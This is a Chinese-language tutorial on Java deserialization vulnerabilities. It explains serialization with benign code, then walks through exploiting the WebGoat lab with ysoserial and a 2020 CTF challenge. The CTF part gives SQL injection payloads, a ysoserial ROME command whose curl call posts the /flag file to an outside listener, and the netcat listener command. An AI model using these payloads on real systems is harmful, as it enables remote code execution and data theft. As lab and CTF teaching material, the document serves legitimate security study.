一、Java反序列化的认识
1.漏洞原理 如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。
2.应用场景 一般来说,服务器启动后,就不会再关闭了,但是如果逼不得已需要重启,而用户会话还在进行相应的操作,这时就需要使用序列化将session信息保存起来放在硬盘,服务器重启后,又重新加载。这样就保证了用户信息不会丢失,实现永久化保存。
在很多应用中,需要对某些对象进行序列化,让它们离开内存空间,入住物理硬盘,以便减轻内存压力或便于长期保存。比如最常见的是Web服务器中的Session对象,当有 10万用户并发访问,就有可能出现10万个Session对象,内存可能吃不消,于是Web容器就会把一些seesion先序列化到硬盘中,等要用了,再把保存在硬盘中的对象还原到内存中。
例子: 淘宝每年都会有定时抢购的活动,很多用户会提前登录等待,长时间不进行操作,一致保存在内存中,而到达指定时刻,几十万用户并发访问,就可能会有几十万个session,内存可能吃不消。这时就需要进行对象的活化、钝化,让其在闲置的时候离开内存,将信息保存至硬盘,等要用的时候,就重新加载进内存。
初步总结:Java 序列化和反序列化,其一,实现了数据的持久化,通过序列化可以把数据永久的保存在硬盘上;其二,利用序列化实现远程通信,即在网络上传递对象的字节序列。
3.序列化和反序列化 序列化:把对象转换成字节流,方便持久化保存 反序列化:把序列化后的字节流,还原成对象处理
序列化是将对象状态转换为可保持或传输的格式的过程。与序列化相对的是反序列化,它将流转换为对象。 这两个过程结合起来,可以轻松地存储和传输数据,这就是序列化的意义所在
4.用途
把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;在网络上传送对象的字节序列。
函数接口类: Java: Serializable Externalizable接口、fastjson、jackson、gson PHP: serialize()、 unserialize() Python:pickle
数据出现地: http参数,cookie,sesion,存储方式可能是base64(rO0),压缩后的base64(H4s),MII等 Servlets http,Sockets,Session管理器,包含的协议就包括:JMX,RMI,JMS,JND1等(\xac\Xed) xm lXstream,XmldEcoder等(http Body:Content-type: application/xml) json(jackson,fastjson)http请求中包含
发现点:黑盒-数据出现地&白盒-函数接口类 利用点:集成库生成器-ysoserial&单点利用脚本工具
二、Java反序列化操作
实现方法 1.java.io.ObjectOutputStream 2.java.io.ObjectInputStream
序列化:ObjectOutputStream类 --> writeObject()
该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中
按Java的标准约定是给文件一个.ser扩展名
反序列化: ObjectInputStream类 --> readObject()
该方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。
代码如下:
package java_Serializable;
import java.io.*;
public class Java_Test{
public static void main(String args[]) throws Exception {
String obj = "ls ";
FileOutputStream fos = new FileOutputStream("aa.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();
FileInputStream fis = new FileInputStream("aa.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
String obj2 = (String)ois.readObject();
System.out.println(obj2);
ois.close();
}
}
先通过输入流创建一个文件,再调用ObjectOutputStream类的 writeObject方法把序列化的数据写入该文件;然后调用ObjectInputStream类的readObject方法反序列化数据并打印数据内容。
对象序列化包括如下步骤: 1) 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流; 2) 通过对象输出流的writeObject()方法写对象。
对象反序列化的步骤如下: 1) 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流; 2) 通过对象输入流的readObject()方法读取对象。 代码如下:
package java_Serializable;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.text.MessageFormat;
import java.io.Serializable;
class Person implements Serializable {
private static final long serialVersionUID = -5809782578272943999L;
private int age;
private String name;
private String sex;
public int getAge() {
return age;
}
public String getName() {
return name;
}
public String getSex() {
return sex;
}
public void setAge(int age) {
this.age = age;
}
public void setName(String name) {
this.name = name;
}
public void setSex(String sex) {
this.sex = sex;
}
}
class SerializeDeserialize_readObject {
public static void main(String[] args) throws Exception {
SerializePerson();
Person p = DeserializePerson();
System.out.println(MessageFormat.format("name={0},age={1},sex={2}",
p.getName(), p.getAge(), p.getSex()));
}
private static void SerializePerson() throws FileNotFoundException,
IOException {
Person person = new Person();
person.setName("ssooking");
person.setAge(20);
person.setSex("男");
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(
new File("Person.txt")));
oo.writeObject(person);
System.out.println("Person对象序列化成功!");
oo.close();
}
private static Person DeserializePerson() throws Exception, IOException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("Person.txt")));
Person person = (Person) ois.readObject();
System.out.println("Person对象反序列化成功!");
return person;
}
}
创建一个Person接口,然后写两个方法:
序列化方法:创建一个Person实例,调用函数为其三个成员变量赋值,通过writeObject方法把该对象序列化,写入Person.txt文件中
反序列化方法:调用readObject方法,返回一个经过饭序列化处理的对象
在测试主类里面,我们先序列化Person实例对象,然后又反序列化该对象,最后调用函数获取各个成员变量的值。
具体代码原理参考:https://www.jianshu.com/p/4060bb2e24cb
运行截图 写入Person.txt的序列化 这就是Java序列化与反序列化的过程,将序列化对象写入文件中,再文件中读取数据,最后通过反序列化恢复对象
三、发现&利用-WebGoat&Ysoserial&Payload
WebGoat 是由OWASP维护的故意不安全的 Web 应用程序,旨在教授 Web 应用程序安全课程。 该程序演示了常见的服务器端应用程序缺陷。这些练习旨在供人们学习应用程序安全和渗透测试技术。
最新版本的 WebGoat 需要 Java 15 或更高版本。默认情况下,WebGoat 和 Webwolf 在端口 8080、9000 和 9090 上启动,环境变量 WEBGOAT_PORT、WEBGOAT_HSQLPORT 和 WEBWOLF_PORT 可以设置不同的值。
WebGoat:https://github.com/WebGoat/WebGoat/releases/tag/v8.1.0 Ysoserial:https://github.com/frohoff/ysoserial Java反序列化备忘录:https://xz.aliyun.com/t/2042
运行WebGoat:
java -jar webgoat-server-8.1.0.jar
访问:http://127.0.0.1:8080/WebGoat/login
注册好之后的页面 来到漏洞的利用点 JAVAWEB特征可以作为序列化的标志参考: 一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。 或者如果以aced开头,那么他就是这一段java序列化的16进制。
那么通过观察发现rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l 这个字符串就是JAVA序列化base64加密的数据,这种加密是为了不让数据过于明显,解决了一个安全的问题
漏洞利用: 首先使用到的工具ysoserial,ysoserial集合了各种java反序列化payload;运行如下: 利用的时候: 1.找到需要的payload 2.查看对方jar包的组件可能存在的反序列化漏洞
反编译webgoat-server的jar包(webgoat),查看BOOT-INF/lib/insecure-deserialization-8.0.0.M25.jar存在反序列化漏洞,且编码是base64url
再查看jar包的组件,groovy,hibernate-core,spring-core可能存在反序列化漏洞
配合jar包生成payload: java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 "calc.exe" > x.bin
换Base64编码
import base64
file = open("x.bin","rb")
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()
最终将Base64编码的payload拿到输入框执行反弹计算器
四、CTF网鼎杯2020 朱雀组Think Java(JAVA反序列化)
打开题目,有附件可以下载,直接下载出来拖到IDEA分析
在/common/test/sqlDict有个注入,这里的dbName参数可控,参数没有任何过滤带入到数据库查询,存在SQL注入漏洞。 找到这是一个JDBC sql注入构造payload如下:
POST /common/test/sqlDict
dbName=myapp?a=' union select (select name from user)# //myapp库名
dbName=myapp?a=' union select (select pwd from user)
注入得到账号:admin 密码:admin@Rrrr_ctf_asde 然后有了账号密码需要找登陆的地方,通过信息收集发现swagger-ui api接口 Swagger UI:提供了一个可视化的UI页面展示描述文件。接口的调用方、测试、项目经理等都可以在该页面中对相关接口进行查阅和做一些简单的接口请求。该项目支持在线导入描述文件和本地部署UI项目。
接着url地址后面加上swagger-ui.html 访问如下: 找到接口我们尝试登陆,登陆成功后发现了一个字符串开头为rO0A,这是一串经过base64加密的java序列化,说明这里存在java反序列化的操作
接着我们解码康康
rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu
先base64解码
发现还进行了十六进制加密,再十六进制解密 解密后数据中包含帐号等信息,通过接口/common/user/current分析可知数据有接受,说明存在反序列化操作,将恶意代码进行序列化后进行后续操作,利用ysoserial进行序列化生成
java -jar ysoserial.jar ROME "curl http://172.16.175.49:4444 -d @/flag" > flag.bin
再利用py2脚本进行反序列化数据的提取
import base64
file = open("flag.bin","rb")
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()
这样直接打payload即可,数据包直接请求获取进行反序列数据加载操作 服务器执行:nc -lvvp 4444 监听数据
参考:https://www.cnblogs.com/h3zh1/p/12914439.html
|